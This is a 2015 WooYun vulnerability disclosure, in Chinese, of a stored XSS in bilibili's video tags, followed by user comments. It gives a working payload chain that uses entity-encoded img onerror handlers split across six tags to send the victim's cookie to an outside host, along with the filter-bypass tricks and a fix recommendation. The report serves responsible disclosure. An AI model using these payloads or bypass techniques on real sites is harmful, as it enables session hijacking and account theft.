当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0146855

漏洞标题:bilibili主站存在存储型XSS漏洞(艰辛的绕过过程/成功传cookie至域外)

相关厂商:bilibili.com

漏洞作者: 端端

提交时间:2015-10-15 11:11

修复时间:2015-12-03 17:20

公开时间:2015-12-03 17:20

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-15: 细节已通知厂商并且等待厂商处理中
2015-10-19: 厂商已经确认,细节仅向厂商公开
2015-10-29: 细节向核心白帽子及相关领域专家公开
2015-11-08: 细节向普通白帽子公开
2015-11-18: 细节向实习白帽子公开
2015-12-03: 细节向公众公开

简要描述:

bilibili主站存在存储型XSS漏洞(艰辛的绕过过程)
问题其实有点鸡肋,包括有部分关键字过滤、长度的限制以及被强制转换为大写字母等,但终究还是把cookie传到了域外

详细说明:

出现问题的地方是视频下方的标签
任何一个视频最多可以有10个标签显示,且标签开放编辑

捕获1.PNG


测试时发现没有进行转义直接按照html输出到了页面导致标签被浏览器解释

捕获2.PNG


添加标签发现超过20个字符会有提示

捕获3.PNG


但并没有请求发出,所以是前端的限制,直接调用接口(http://www.bilibili.com/api_proxy?app=tag&action=/tags/archive_add)测试确认后端限制60个字符
并且会将所有小写字母替换为大写字母
接口本身虽然也做了一些过滤(比如"<script"之类的)但并不全面

捕获4.PNG


通过测试发现

<img src=""onerror =SOME_JS_CODE>

是有效的(onerror和=之间必须有空格否则接口会403错误)
由于javascript是大小写敏感的,所以直接写入含有小写字母的代码是不可以的
测试发现通过HTML编码可以绕过这一问题

<img src=""onerror =alert(0)>


变为

<img src=""onerror =&#97&#108&#101&#114&#116(0)>

(非小写字母没必要编码,节省空间)

捕获5.PNG


但就算这样很明显要想把cookie顺利传到站外,仅仅60个字符是不够的
但不要忘记,我们最多可以添加10个标签,那么在这10个标签中是否可以做到呢
答案是可以的(这不废话吗(-__-)b)
分别执行以下脚本(这里字符串拆分是因为编码后太长了,奇怪的写法都是为了缩短单个标签里的长度)

A='ocumen'
B='t';F=Image
eval('C=d'+A+B)
D=C.cookie
E=new F()
E.src='//WOOYUN.ORG/?'+D


构造标签内容如下,直接使用接口按顺序添加至视频标签

<img src=""onerror =A='&#111&#99&#117&#109&#101&#110'>
<img src=""onerror =B='&#116';F=I&#109&#97&#103&#101>
<img src=""onerror =&#101&#118&#97&#108('C=&#100'+A+B)>
<img src=""onerror =D=C.&#99&#111&#111&#107&#105&#101>
<img src=""onerror ="E=&#110&#101&#119 F()">
<img src=""onerror =E.&#115&#114&#99='//WOOYUN.ORG/?'+D>


像这样添加

捕获6.PNG


6个都添加完后(那个点赞的小手颜色有点浅,我觉得在有些显示器上看不太清,就知道红圈里有6个点赞的小手就好了(-__-)b)

捕获7.PNG

漏洞证明:

测试地址
顺便提一句,我只是随便找了一个视频……那个视频不是我传的。

http://www.bilibili.com/video/av2546682/


我不知道审核之前会不会被发现,还没被发现的话可以看下效果
会产生一个目标至wooyun.org的请求,其中GET参数是当前在bilibili的cookie
我测试时的截图如下(测试过程均在登录另外的账号下进行,以避免未知的可能存在的影响因素)

捕获8.PNG


视频标签处的惨状

捕获9.PNG


IE11下测试

捕获10.PNG


修复方案:

1、输出时转义
2、输入时过滤

版权声明:转载请注明来源 端端@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-10-19 17:19

厂商回复:

~

最新状态:

暂无


漏洞评价:

评论

  1. 2015-10-15 11:14 | f4ckbaidu ( 普通白帽子 | Rank:189 漏洞数:25 | 开发真是日了狗了)

    比利:洞主,♂乖乖站好♂

  2. 2015-10-15 11:16 | 小龙 ( 普通白帽子 | Rank:1302 漏洞数:332 | 乌云有着这么一群人,在乌云学技术,去某数...)

    好鬼畜的xss

  3. 2015-10-15 11:31 | 染血の雪 ( 普通白帽子 | Rank:193 漏洞数:30 | 击缻)

    洞主关注B站30年

  4. 2015-10-15 12:43 | 动后河 ( 实习白帽子 | Rank:57 漏洞数:16 | ☭)

    哲学 http://www.bilibili.com/video/av2662415/

  5. 2015-10-15 13:41 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    up主好厉害~~

  6. 2015-10-15 15:16 | SH0X8001 ( 路人 | Rank:15 漏洞数:3 | 你猜)

    up主我要塞你硬币

  7. 2015-10-15 16:00 | Xmyth_Xi2oMin9 ( 普通白帽子 | Rank:400 漏洞数:56 | 人来人往 喜欢却只能欣赏 再见了各位)

    哔,学生卡。

  8. 2015-10-15 16:04 | 聋子 ( 普通白帽子 | Rank:360 漏洞数:69 | 一个聋子)

    妮可妮可妮~

  9. 2015-10-15 16:52 | scanf ( 核心白帽子 | Rank:1317 漏洞数:193 | 。)

    up主好叼 处女币已投!

  10. 2015-10-15 18:24 | xtnnd ( 普通白帽子 | Rank:184 漏洞数:45 | t-safe)

    被币淹没 不知所错

  11. 2015-10-22 00:11 | 金馆长 ( 路人 | Rank:4 漏洞数:2 | Up)

    FA♂Q

  12. 2015-10-27 21:53 | Security ( 实习白帽子 | Rank:32 漏洞数:12 )

    我隐约知道是什么了。

  13. 2015-11-09 09:32 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    chrome的插件是啥

  14. 2015-11-09 14:33 | 端端 ( 普通白帽子 | Rank:138 漏洞数:19 | niconiconi~)

    @牛肉包子 你说哪个

  15. 2015-11-09 17:07 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    @端端 发包的那个

  16. 2015-11-09 17:57 | 端端 ( 普通白帽子 | Rank:138 漏洞数:19 | niconiconi~)

    @牛肉包子 Postman - REST Clienthttps://chrome.google.com/webstore/detail/postman-rest-client/fdmmgilgnpjigdojojpjoooidkmcomcm

  17. 2015-11-09 18:17 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    @端端 thx